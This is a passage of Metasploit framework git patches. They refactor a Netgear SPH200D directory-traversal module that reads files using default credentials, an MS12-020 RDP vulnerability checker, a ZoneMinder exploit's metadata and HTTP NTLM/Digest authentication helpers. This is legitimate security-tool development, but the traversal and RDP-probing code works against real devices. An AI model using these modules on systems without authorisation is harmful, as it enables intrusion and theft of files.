#{rhost}:#{rport}:file->#{file}!") + vprint_status("Response: \r\n #{res.body}") report_web_vuln({ :host => rhost, :port => rport, @@ -99,6 +102,7 @@ class Metasploit3 < Msf::Auxiliary }) return :abort if (res.code == 404) + return :abort if res.nil? if [200, 301, 302].include?(res.code) vprint_good("Successful login: #{user} : #{pass} on #{rhost}:#{rport}") From 7b6d1f4fdde26fe8dfd7ca3e7da3ee42c1379c38 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Fri, 1 Feb 2013 13:36:15 -0600 Subject: [PATCH 058/448] Actually test alternate rubies. --- tools/msftidy.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/tools/msftidy.rb b/tools/msftidy.rb index aa63bea6a4..d8ee265111 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -226,9 +226,7 @@ class Msftidy puts "Checking syntax for #{f_rel}." rubies ||= RVM.list_strings res = %x{rvm all do ruby -c #{f_rel}}.split("\n").select {|msg| msg =~ /Syntax OK/} - rubies.size == res.size - - error("Fails alternate Ruby version check") if rubies.size + error("Fails alternate Ruby version check") if rubies.size != res.size end def check_ranking From 152f397a1f8a2df61fdf07713159aa77f5138f88 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 1 Feb 2013 20:38:11 +0100 Subject: [PATCH 059/448] first module cleanup --- .../admin/http/netgear_sph200d_traversal.rb | 81 +++++++++---------- 1 file changed, 39 insertions(+), 42 deletions(-) diff --git a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb index 1bf1be8c33..fdf30c879e 100644 --- a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb +++ b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb @@ -14,19 +14,17 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'Netgear SPH200D - Directory Traversal Vulnerability', + 'Name' => 'Netgear SPH200D Directory Traversal Vulnerability', 'Description' => %q{ - This module exploits a directory traversal vulnerablity which is present - in Netgear SPH200D Skype telephone - You may wish to change SENSITIVE_FILES (hosts sensitive files), RPORT depending - on your environment. - }, + This module exploits a directory traversal vulnerablity which is present in + Netgear SPH200D Skype telephone. + }, 'References' => [ - [ 'URL', 'http://support.netgear.com/product/SPH200D' ], - [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-002' ], [ 'BID', '57660' ], [ 'EDB', '24441' ], + [ 'URL', 'http://support.netgear.com/product/SPH200D' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-002' ] ], 'Author' => [ 'm-1-k-3' ], 'License' => MSF_LICENSE @@ -37,53 +35,52 @@ class Metasploit3 < Msf::Auxiliary OptPath.new('FILELIST', [ true, "File containing sensitive files, one per line", File.join(Msf::Config.install_root, "data", "wordlists", "sensitive_files.txt") ]), OptString.new('USERNAME',[ true, 'User to login with', 'admin']), - OptString.new('PASSWORD',[ true, 'Password to login with', 'password']), + OptString.new('PASSWORD',[ true, 'Password to login with', 'password']) ], self.class) end def extract_words(wordfile) - return [] unless wordfile && File.readable?(wordfile) - begin - words = File.open(wordfile, "rb") do |f| - f.read - end - rescue - return [] + return [] unless wordfile && File.readable?(wordfile) + begin + words = File.open(wordfile, "rb") do |f| + f.read end - save_array = words.split(/\r?\n/) - return save_array + rescue + return [] + end + save_array = words.split(/\r?\n/) + return save_array end #traversal every file def find_files(file,user,pass) - traversal = '/../..' + traversal = '/../../' res = send_request_cgi({ - 'method' => 'GET', - 'uri' => traversal << file, + 'method' => 'GET', + 'uri' => normalize_uri(traversal, file), 'basic_auth' => "#{user}:#{pass}" - }) + }) - if (res and res.code == 200 and res.body !~ /404\ File\ Not\ Found/) - print_good("Request may have succeeded on #{rhost}:#{rport}:file->#{file}!") - vprint_status("Response: \r\n #{res.body}") + if res and res.code == 200 and res.body !~ /404\ File\ Not\ Found/ + print_good("#{rhost}:#{rport} - Request may have succeeded on file #{file}") report_web_vuln({ :host => rhost, :port => rport, :vhost => datastore['VHOST'], - :path => traversal << file, - :pname => traversal, + :path => "/", + :pname => normalize_uri(traversal, file), :risk => 3, - :proof => traversal, + :proof => normalize_uri(traversal, file), :name => self.fullname, :category => "web", :method => "GET" - }) + }) - loot = store_loot("lfi.data","text/plain",rhost, res.body,file) - print_good("File #{file} downloaded to: #{loot}") - elsif (res and res.code) - vprint_error("Attempt returned HTTP error #{res.code} and Body #{res.body} on #{rhost}:#{rport}:file->#{file}") + loot = store_loot("lfi.data","text/plain",rhost, res.body,file) + vprint_good("#{rhost}:#{rport} - File #{file} downloaded to: #{loot}") + elsif res and res.code + vprint_error("#{rhost}:#{rport} - Attempt returned HTTP error #{res.code} when trying to access #{file}") end end @@ -96,24 +93,24 @@ class Metasploit3 < Msf::Auxiliary #test login begin res = send_request_cgi({ - 'uri' => '/', - 'method' => 'GET', - 'basic_auth' => "#{user}:#{pass}" - }) + 'uri' => '/', + 'method' => 'GET', + 'basic_auth' => "#{user}:#{pass}" + }) - return :abort if (res.code == 404) return :abort if res.nil? + return :abort if (res.code == 404) if [200, 301, 302].include?(res.code) - vprint_good("Successful login: #{user} : #{pass} on #{rhost}:#{rport}") + vprint_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") else - vprint_error("No successful login possible. #{user} : #{pass} on #{rhost}:#{rport}") + vprint_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") return :abort end rescue ::Rex::ConnectionError - vprint_error("Failed to connect to the web server") - return :abort + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return :abort end extract_words(datastore['FILELIST']).each do |file| From 996ee06b0fc79aa621f953058f2048d9aea02f72 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 1 Feb 2013 20:43:54 +0100 Subject: [PATCH 060/448] fix another print_ call --- modules/auxiliary/admin/http/netgear_sph200d_traversal.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb index fdf30c879e..478a0c39da 100644 --- a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb +++ b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb @@ -88,7 +88,7 @@ class Metasploit3 < Msf::Auxiliary user = datastore['USERNAME'] pass = datastore['PASSWORD'] - print_status("Trying to login with #{user} / #{pass}") + vprint_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}") #test login begin From c24c926ffaa1da011df5e38dd36e3ad48d8b7e59 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 1 Feb 2013 20:55:06 +0100 Subject: [PATCH 061/448] add aditional check to detect valid device --- modules/auxiliary/admin/http/netgear_sph200d_traversal.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb index 478a0c39da..311bb83896 100644 --- a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb +++ b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb @@ -99,6 +99,7 @@ class Metasploit3 < Msf::Auxiliary }) return :abort if res.nil? + return :abort if (res.headers['Server'].nil? or res.headers['Server'] !~ /simple httpd/) return :abort if (res.code == 404) if [200, 301, 302].include?(res.code) From 4e6c93ec7da76593a356eb859dea31eed96b2924 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Fri, 1 Feb 2013 14:38:20 -0600 Subject: [PATCH 062/448] Various style fixes, fix ruby 1.8 compat --- .../auxiliary/scanner/rdp/ms12-020_check.rb | 216 ++++++++---------- 1 file changed, 98 insertions(+), 118 deletions(-) diff --git a/modules/auxiliary/scanner/rdp/ms12-020_check.rb b/modules/auxiliary/scanner/rdp/ms12-020_check.rb index 93dc4bc58a..5a16d36851 100644 --- a/modules/auxiliary/scanner/rdp/ms12-020_check.rb +++ b/modules/auxiliary/scanner/rdp/ms12-020_check.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Auxiliary 'Royce Davis @R3dy_ ', 'Brandon McCann @zeknox ' ], - 'License' => MSF_LICENSE, + 'License' => MSF_LICENSE )) register_options( @@ -42,36 +42,18 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def checkRdp(packet) + def check_rdp # code to check if RDP is open or not - vprint_status("#{peer} - Verifying RDP Protocol") - begin - # send connection - sock.put(packet) - # read packet to see if its rdp - res = sock.recv(1024) + vprint_status("#{peer} Verifying RDP protocol...") - if res.unpack("H*").join == "0300000b06d00000123400" - return true - else - return false - end - rescue - print_error("could not connect to RHOST") - return false - end - end + # send connection + sock.put(connection_request) - def connectionRequest() - packet = '' + - "\x03\x00" + # TPKT Header version 03, reserved 0 - "\x00\x0b" + # Length - "\x06" + # X.224 Data TPDU length - "\xe0" + # X.224 Type (Connection request) - "\x00\x00" + # dst reference - "\x00\x00" + # src reference - "\x00" # class and options - return packet + # read packet to see if its rdp + res = sock.get_once(-1, 5) + + # return true if this matches our vulnerable response + ( res and res == "\x03\x00\x00\x0b\x06\xd0\x00\x00\x12\x34\x00" ) end def report_goods @@ -79,120 +61,118 @@ class Metasploit3 < Msf::Auxiliary :host => rhost, :port => rport, :proto => 'tcp', - :name => 'The MS12-020 Checker', - :vuln => 'Confirmaiton that this host is vulnerable to MS12-020', - :refs => self.references, - :exploited_at => Time.now.utc + :name => self.name, + :info => 'Response indicates a missing patch', + :refs => self.references ) end - def connectInitial() - packet = '' + - "\x03\x00\x00\x65" + # TPKT Header - "\x02\xf0\x80" + # Data TPDU, EOT - "\x7f\x65\x5b" + # Connect-Initial - "\x04\x01\x01" + # callingDomainSelector - "\x04\x01\x01" + # callingDomainSelector - "\x01\x01\xff" + # upwardFlag - "\x30\x19" + # targetParams + size - "\x02\x01\x22" + # maxChannelIds - "\x02\x01\x20" + # maxUserIds - "\x02\x01\x00" + # maxTokenIds - "\x02\x01\x01" + # numPriorities - "\x02\x01\x00" + # minThroughput - "\x02\x01\x01" + # maxHeight - "\x02\x02\xff\xff" + # maxMCSPDUSize - "\x02\x01\x02" + # protocolVersion - "\x30\x18" + # minParams + size - "\x02\x01\x01" + # maxChannelIds - "\x02\x01\x01" + # maxUserIds - "\x02\x01\x01" + # maxTokenIds - "\x02\x01\x01" + # numPriorities - "\x02\x01\x00" + # minThroughput - "\x02\x01\x01" + # maxHeight - "\x02\x01\xff" + # maxMCSPDUSize - "\x02\x01\x02" + # protocolVersion - "\x30\x19" + # maxParams + size - "\x02\x01\xff" + # maxChannelIds - "\x02\x01\xff" + # maxUserIds - "\x02\x01\xff" + # maxTokenIds - "\x02\x01\x01" + # numPriorities - "\x02\x01\x00" + # minThroughput - "\x02\x01\x01" + # maxHeight - "\x02\x02\xff\xff" + # maxMCSPDUSize - "\x02\x01\x02" + # protocolVersion - "\x04\x00" # userData - return packet + def connection_request + "\x03\x00" + # TPKT Header version 03, reserved 0 + "\x00\x0b" + # Length + "\x06" + # X.224 Data TPDU length + "\xe0" + # X.224 Type (Connection request) + "\x00\x00" + # dst reference + "\x00\x00" + # src reference + "\x00" # class and options end - def userRequest() - packet = '' + - "\x03\x00" + # header - "\x00\x08" + # length - "\x02\xf0\x80" + # X.224 Data TPDU (2 bytes: 0xf0 = Data TPDU, 0x80 = EOT, end of transmission) - "\x28" # PER encoded PDU contents - return packet + def connect_initial + "\x03\x00\x00\x65" + # TPKT Header + "\x02\xf0\x80" + # Data TPDU, EOT + "\x7f\x65\x5b" + # Connect-Initial + "\x04\x01\x01" + # callingDomainSelector + "\x04\x01\x01" + # callingDomainSelector + "\x01\x01\xff" + # upwardFlag + "\x30\x19" + # targetParams + size + "\x02\x01\x22" + # maxChannelIds + "\x02\x01\x20" + # maxUserIds + "\x02\x01\x00" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x02\xff\xff" + # maxMCSPDUSize + "\x02\x01\x02" + # protocolVersion + "\x30\x18" + # minParams + size + "\x02\x01\x01" + # maxChannelIds + "\x02\x01\x01" + # maxUserIds + "\x02\x01\x01" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x01\xff" + # maxMCSPDUSize + "\x02\x01\x02" + # protocolVersion + "\x30\x19" + # maxParams + size + "\x02\x01\xff" + # maxChannelIds + "\x02\x01\xff" + # maxUserIds + "\x02\x01\xff" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x02\xff\xff" + # maxMCSPDUSize + "\x02\x01\x02" + # protocolVersion + "\x04\x00" # userData end - def channelRequestOne - packet = '' + - "\x03\x00\x00\x0c" + - "\x02\xf0\x80\x38" + - "\x00\x01\x03\xeb" - return packet + def user_request + "\x03\x00" + # header + "\x00\x08" + # length + "\x02\xf0\x80" + # X.224 Data TPDU (2 bytes: 0xf0 = Data TPDU, 0x80 = EOT, end of transmission) + "\x28" # PER encoded PDU contents end - def channelRequestTwo - packet = '' + - "\x03\x00\x00\x0c" + - "\x02\xf0\x80\x38" + - "\x00\x02\x03\xeb" - return packet + def channel_request_one + "\x03\x00\x00\x0c" + + "\x02\xf0\x80\x38" + + "\x00\x01\x03\xeb" + end + + def channel_request_two + "\x03\x00\x00\x0c" + + "\x02\xf0\x80\x38" + + "\x00\x02\x03\xeb" end def peer - return "#{rhost}:#{rport}" + "#{rhost}:#{rport}" end def run_host(ip) - begin - # open connection - connect() - rescue + + connect + + # check if rdp is open + if not check_rdp + disconnect return end - # check if rdp is open - if checkRdp(connectionRequest) + # send connectInitial + sock.put(connect_initial) - # send connectInitial - sock.put(connectInitial) - # send userRequest - sock.put(userRequest) - user1_res = sock.recv(1024) - # send 2nd userRequest - sock.put(userRequest) - user2_res = sock.recv(1024) - # send channel request one - sock.put(channelRequestOne) - channel_one_res = sock.recv(1024) - if channel_one_res.unpack("H*").to_s[16..19] == '3e00' - # vulnerable - print_good("#{peer} - Vulnerable to MS12-020") - report_goods + # send userRequest + sock.put(user_request) + res = sock.get_once(-1, 5) - # send ChannelRequestTwo - prevent bsod - sock.put(channelRequestTwo) + # send 2nd userRequest + sock.put(user_request) + res = sock.get_once(-1, 5) - # report to the database - else - vprint_error("#{peer} - Not Vulnerable") - end + # send channel request one + sock.put(channel_request_one) + res = sock.get_once(-1, 5) + if res and res[8,2] == "\x3e\x00" + # send ChannelRequestTwo - prevent BSoD + sock.put(channel_request_two) + + print_good("#{peer} Vulnerable to MS12-020") + report_goods + else + vprint_status("#{peer} Not Vulnerable") end - # close connection + disconnect() end end - From d5ae0053323c61a04220d3e6e28ab92150622df6 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Fri, 1 Feb 2013 14:39:01 -0600 Subject: [PATCH 063/448] Rename with underscores --- .../scanner/rdp/{ms12-020_check.rb => ms12_020_check.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/auxiliary/scanner/rdp/{ms12-020_check.rb => ms12_020_check.rb} (100%) diff --git a/modules/auxiliary/scanner/rdp/ms12-020_check.rb b/modules/auxiliary/scanner/rdp/ms12_020_check.rb similarity index 100% rename from modules/auxiliary/scanner/rdp/ms12-020_check.rb rename to modules/auxiliary/scanner/rdp/ms12_020_check.rb From a63cf6977c4ccd59b5441c4bfa5666a8a8b4b639 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Fri, 1 Feb 2013 13:30:39 -0600 Subject: [PATCH 064/448] Fix 1.8 support --- modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb index c405327ab0..ef6906721e 100644 --- a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb +++ b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb @@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote ['Automatic Targeting', { 'auto' => true }] ], 'DefaultTarget' => 0, - 'DisclosureDate' => "Jan 22 2013", + 'DisclosureDate' => "Jan 22 2013" )) register_options([ @@ -145,4 +145,3 @@ class Metasploit3 < Msf::Exploit::Remote end end - From 8e870f3654891a7a4dae5959dc41d5ed0c709b0f Mon Sep 17 00:00:00 2001 From: David Maloney Date: Wed, 30 Jan 2013 10:59:38 -0600 Subject: [PATCH 065/448] merge in sinn3r's changes --- lib/msf/core/exploit/http/client.rb | 259 +++++++++++++++++----------- 1 file changed, 161 insertions(+), 98 deletions(-) diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 6d0bd9336b..4608b38416 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -281,103 +281,6 @@ module Exploit::Remote::HttpClient datastore['BasicAuthUser'] + ":" + (datastore['BasicAuthPass'] || '') end - # - # Connect to the server, and perform NTLM authentication for this session. - # Note the return value is [resp,c], so the caller can have access to both - # the last response, and the connection itself -- this is important since - # NTLM auth is bound to this particular TCP session. - # - # TODO: Fix up error messaging a lot more -- right now it's pretty hard - # to tell what all went wrong. - # - def send_http_auth_ntlm(opts={}, timeout = 20) - #ntlm_message_1 = "NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=" - ntlm_options = { - :signing => false, - :usentlm2_session => datastore['NTLM::UseNTLM2_session'], - :use_ntlmv2 => datastore['NTLM::UseNTLMv2'], - :send_lm => datastore['NTLM::SendLM'], - :send_ntlm => datastore['NTLM::SendNTLM'] - } - - ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options) - workstation_name = Rex::Text.rand_text_alpha(rand(8)+1) - domain_name = datastore['DOMAIN'] - - ntlm_message_1 = "NTLM " + Rex::Text::encode_base64(NTLM_UTILS::make_ntlmssp_blob_init( domain_name, - workstation_name, - ntlmssp_flags)) - to = opts[:timeout] || timeout - begin - c = connect(opts) - - # First request to get the challenge - r = c.request_cgi(opts.merge({ - 'uri' => opts['uri'], - 'method' => 'GET', - 'headers' => { 'Authorization' => ntlm_message_1 }})) - resp = c.send_recv(r, to) - unless resp.kind_of? Rex::Proto::Http::Response - return [nil,nil] - end - return [nil,nil] if resp.code == 404 - return [nil,nil] unless resp.code == 401 && resp.headers['WWW-Authenticate'] - - # Get the challenge and craft the response - ntlm_challenge = resp.headers['WWW-Authenticate'].match(/NTLM ([A-Z0-9\x2b\x2f=]+)/i)[1] - return [nil,nil] unless ntlm_challenge - - - #old and simplier method but not compatible with windows 7/2008r2 - #ntlm_message_2 = Rex::Proto::NTLM::Message.decode64(ntlm_challenge) - #ntlm_message_3 = ntlm_message_2.response( {:user => opts['username'],:password => opts['password']}, {:ntlmv2 => true}) - - ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge) - blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(ntlm_message_2) - - challenge_key = blob_data[:challenge_key] - server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error - #netbios name - default_name = blob_data[:default_name] || '' - #netbios domain - default_domain = blob_data[:default_domain] || '' - #dns name - dns_host_name = blob_data[:dns_host_name] || '' - #dns domain - dns_domain_name = blob_data[:dns_domain_name] || '' - #Client time - chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' - - spnopt = {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} - - resp_lm, - resp_ntlm, - client_challenge, - ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(opts['username'], opts['password'], challenge_key, - domain_name, default_name, default_domain, - dns_host_name, dns_domain_name, chall_MsvAvTimestamp, - spnopt, ntlm_options) - - ntlm_message_3 = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, opts['username'], - resp_lm, resp_ntlm, '', ntlmssp_flags) - ntlm_message_3 = Rex::Text::encode_base64(ntlm_message_3) - - # Send the response - r = c.request_cgi(opts.merge({ - 'uri' => opts['uri'], - 'method' => 'GET', - 'headers' => { 'Authorization' => "NTLM #{ntlm_message_3}"}})) - resp = c.send_recv(r, to, true) - unless resp.kind_of? Rex::Proto::Http::Response - return [nil,nil] - end - return [nil,nil] if resp.code == 404 - return [resp,c] - - rescue ::Errno::EPIPE, ::Timeout::Error - end - end - def send_digest_request_cgi(opts={}, timeout=20) @nonce_count = 0 @@ -514,6 +417,166 @@ module Exploit::Remote::HttpClient end end + + # + # Authenticates to the remote host based on the most appropriate authentication method, + # and returns the HTTP response. If there are multiple auth methods supported, then it + # will pick one in the following order: Basic, Digest, Negotiate, and then NTLM. + # + # Options: + # - username: The username to authenticate as + # - password: The password to authenticate with + # + def send_request_smart_auth(opts={}, timeout=20) + res = send_request_cgi(opts,timeout) + return nil if res.nil? + return res unless res.code == 401 + return res if opts['username'].blank? + return res unless res.headers['WWW-Authenticate'] + + if res.headers['WWW-Authenticate'].include? "Basic" + opts['basic_auth'] = opts['username'] + ":" + opts['password'] + res = send_request_cgi(opts,timeout) + return res + + elsif res.headers['WWW-Authenticate'].include? "Digest" + opts['DigestAuthUser'] = opts['username'] + opts['DigestAuthPassword'] = opts['password'] + res, c = send_digest_request_cgi(opts,timeout) + return res + + elsif res.headers['WWW-Authenticate'].include? "Negotiate" + opts['provider'] = 'Negotiate' + res = send_request_auth_negotiate(opts,timeout) + return res + + elsif res.headers['WWW-Authenticate'].include? "NTLM" + opts['provider'] = 'NTLM' + res = send_request_auth_negotiate(opts,timeout) + return res + + end + + return nil + end + + + # + # Handles both generic Negotiate and NTLM providers + # This does not send back the client, instead it expects that you will + # handshake for each request sent. While this does create additional + # overhead on the wire, it makes dealing with the requests much easier + # from a code point of view. + # + # Options: + # - method: HTTP method, default: GET + # - headers: HTTP headers as a hash + # - provider: HTTP authentication provider, default: 'NTLM ' + # - username: The username to authenticate as + # - password: The password to authenticate with + # + def send_request_auth_negotiate(opts ={}, timeout =20) + ntlm_options = { + :signing => false, + :usentlm2_session => datastore['NTLM::UseNTLM2_session'], + :use_ntlmv2 => datastore['NTLM::UseNTLMv2'], + :send_lm => datastore['NTLM::SendLM'], + :send_ntlm => datastore['NTLM::SendNTLM'] + } + + if opts['provider'] and opts['provider'].include? 'Negotiate' + provider = "Negotiate " + else + provider = 'NTLM ' + end + + opts['method']||= 'GET' + opts['headers']||= {} + + ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options) + workstation_name = Rex::Text.rand_text_alpha(rand(8)+1) + domain_name = datastore['DOMAIN'] + + b64_blob = Rex::Text::encode_base64( + NTLM_UTILS::make_ntlmssp_blob_init( + domain_name, + workstation_name, + ntlmssp_flags + )) + + ntlm_message_1 = provider + b64_blob + to = opts['timeout'] || timeout + + begin + c = connect(opts) + + # First request to get the challenge + opts['headers']['Authorization'] = ntlm_message_1 + r = c.request_cgi(opts) + resp = c.send_recv(r, to) + unless resp.kind_of? Rex::Proto::Http::Response + return nil + end + + return resp unless resp.code == 401 && resp.headers['WWW-Authenticate'] + + # Get the challenge and craft the response + ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\x2b\x2f=]+)/i).flatten[0] + return resp unless ntlm_challenge + + ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge) + blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(ntlm_message_2) + + challenge_key = blob_data[:challenge_key] + server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error + default_name = blob_data[:default_name] || '' #netbios name + default_domain = blob_data[:default_domain] || '' #netbios domain + dns_host_name = blob_data[:dns_host_name] || '' #dns name + dns_domain_name = blob_data[:dns_domain_name] || '' #dns domain + chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' #Client time + + spnopt = {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} + + resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses( + opts['username'], + opts['password'], + challenge_key, + domain_name, + default_name, + default_domain, + dns_host_name, + dns_domain_name, + chall_MsvAvTimestamp, + spnopt, + ntlm_options + ) + + ntlm_message_3 = NTLM_UTILS.make_ntlmssp_blob_auth( + domain_name, + workstation_name, + opts['username'], + resp_lm, + resp_ntlm, + '', + ntlmssp_flags + ) + + ntlm_message_3 = Rex::Text::encode_base64(ntlm_message_3) + + # Send the response + opts['headers']['Authorization'] = "#{provider}#{ntlm_message_3}" + r = c.request_cgi(opts) + resp = c.send_recv(r, to, true) + unless resp.kind_of? Rex::Proto::Http::Response + return nil + end + return resp + + rescue ::Errno::EPIPE, ::Timeout::Error + return nil + end + end + ## # # Wrappers for getters @@ -722,4 +785,4 @@ protected end -end +end \ No newline at end of file From 5814c5962083a63567cc7cf094f2c58d73954662 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Wed, 30 Jan 2013 12:42:46 -0600 Subject: [PATCH 066/448] move httpauth to mixin HttpAuth stuff gets it's own little mixin mix it in to Exploit::Http::Client mix in it to Auxiliary::Web::HTTP --- lib/msf/core/auxiliary/web/http.rb | 19 ++ lib/msf/core/exploit/http/client.rb | 265 +------------------ lib/msf/core/exploit/mixins.rb | 2 + modules/auxiliary/scanner/http/http_login.rb | 11 +- 4 files changed, 29 insertions(+), 268 deletions(-) diff --git a/lib/msf/core/auxiliary/web/http.rb b/lib/msf/core/auxiliary/web/http.rb index 0a59187c02..ffb0385d36 100644 --- a/lib/msf/core/auxiliary/web/http.rb +++ b/lib/msf/core/auxiliary/web/http.rb @@ -10,6 +10,8 @@ require 'uri' module Msf class Auxiliary::Web::HTTP + include Exploit::Remote::HttpAuth + class Request attr_accessor :url attr_reader :opts @@ -147,6 +149,23 @@ class Auxiliary::Web::HTTP while rlimit >= 0 rlimit -= 1 res = _request( url, opts ) + if res.code == 401 and res.headers['WWW-Authenticate'] and opts['username'] + if res.headers['WWW-Authenticate'].include? 'Basic' + opts['password']||= '' + opts['basic_auth'] = opts['username'] + ":" + opts['password'] + res = _request( url, opts ) + elsif res.headers['WWW-Authenticate'].include? 'Digest' + opts['DigestAuthUser'] = opts['username'] + opts['DigestAuthPassword'] = opts['password'] + res = send_digest_request_cgi(opts,timeout) + elsif res.headers['WWW-Authenticate'].include? "Negotiate" + opts['provider'] = 'Negotiate' + res = send_request_auth_negotiate(opts,timeout) + elsif res.headers['WWW-Authenticate'].include? "NTLM" + opts['provider'] = 'NTLM' + res = send_request_auth_negotiate(opts,timeout) + end + end return res if !opts[:follow_redirect] || !url = res.headers['location'] end nil diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 4608b38416..b5df69ba24 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -16,6 +16,7 @@ module Msf module Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Exploit::Remote::NTLM::Client + include Exploit::Remote::HttpAuth # # Constants @@ -273,151 +274,6 @@ module Exploit::Remote::HttpClient end end - # - # Combine the user/pass into an auth string for the HTTP Client - # - def basic_auth - return if not datastore['BasicAuthUser'] - datastore['BasicAuthUser'] + ":" + (datastore['BasicAuthPass'] || '') - end - - def send_digest_request_cgi(opts={}, timeout=20) - @nonce_count = 0 - - return [nil,nil] if not (datastore['DigestAuthUser'] or opts['DigestAuthUser']) - to = opts['timeout'] || timeout - - digest_user = datastore['DigestAuthUser'] || opts['DigestAuthUser'] || "" - digest_password = datastore['DigestAuthPassword'] || opts['DigestAuthPassword'] || "" - - method = opts['method'] - path = opts['uri'] - iis = true - if (opts['DigestAuthIIS'] == false or datastore['DigestAuthIIS'] == false) - iis = false - end - - begin - @nonce_count += 1 - - resp = opts['response'] - - if not resp - # Get authentication-challenge from server, and read out parameters required - c = connect(opts) - r = c.request_cgi(opts.merge({ - 'uri' => path, - 'method' => method })) - resp = c.send_recv(r, to) - unless resp.kind_of? Rex::Proto::Http::Response - return [nil,nil] - end - return [nil,nil] if resp.code == 404 - if resp.code != 401 - return resp - end - return [nil,nil] unless resp.headers['WWW-Authenticate'] - end - - # Don't anchor this regex to the beginning of string because header - # folding makes it appear later when the server presents multiple - # WWW-Authentication options (such as is the case with IIS configured - # for Digest or NTLM). - resp['www-authenticate'] =~ /Digest (.*)/ - - parameters = {} - $1.split(/,[[:space:]]*/).each do |p| - k, v = p.split("=", 2) - parameters[k] = v.gsub('"', '') - end - - qop = parameters['qop'] - - if parameters['algorithm'] =~ /(.*?)(-sess)?$/ - algorithm = case $1 - when 'MD5' then Digest::MD5 - when 'SHA1' then Digest::SHA1 - when 'SHA2' then Digest::SHA2 - when 'SHA256' then Digest::SHA256 - when 'SHA384' then Digest::SHA384 - when 'SHA512' then Digest::SHA512 - when 'RMD160' then Digest::RMD160 - else raise Error, "unknown algorithm \"#{$1}\"" - end - algstr = parameters["algorithm"] - sess = $2 - else - algorithm = Digest::MD5 - algstr = "MD5" - sess = false - end - - a1 = if sess then - [ - algorithm.hexdigest("#{digest_user}:#{parameters['realm']}:#{digest_password}"), - parameters['nonce'], - @cnonce - ].join ':' - else - "#{digest_user}:#{parameters['realm']}:#{digest_password}" - end - - ha1 = algorithm.hexdigest(a1) - ha2 = algorithm.hexdigest("#{method}:#{path}") - - request_digest = [ha1, parameters['nonce']] - request_digest.push(('%08x' % @nonce_count), @cnonce, qop) if qop - request_digest << ha2 - request_digest = request_digest.join ':' - - # Same order as IE7 - auth = [ - "Digest username=\"#{digest_user}\"", - "realm=\"#{parameters['realm']}\"", - "nonce=\"#{parameters['nonce']}\"", - 